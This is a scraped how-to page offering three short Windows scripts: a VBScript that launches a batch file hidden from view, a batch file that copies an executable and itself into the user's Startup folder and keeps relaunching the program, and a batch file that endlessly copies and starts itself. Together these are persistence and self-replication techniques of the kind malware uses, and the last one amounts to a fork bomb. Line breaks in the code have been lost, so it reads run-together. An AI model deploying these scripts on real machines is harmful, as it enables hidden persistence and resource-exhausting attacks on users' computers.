Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Three small scripts of windows

2025-01-14 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Servers >

Share

Shulou(Shulou.com)06/03 Report--

1, Windows background running script test.vbs

Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c test.bat",vbhide

2. Boot script test.bat

@echo offcopy luo.exe "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"copy test.bat "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup": ssrem This is a script that monitors whether a program is open REM start " "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\luo.exe "tasklist /nh| find /i "luo.exe"if errorlevel 1 (start "" "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\luo.exe")clstimeout /T 5 /nobreakgoto ssspause

3. Self-replicating script test.bat

@echo offrem This is a bat script that copies itself and executes: ssset name=%0set num=%RANDOM%rem copy %name% %_%num%.battype %name% >> %num%.batstart "" %num%.batpausegoto sss

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Servers

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report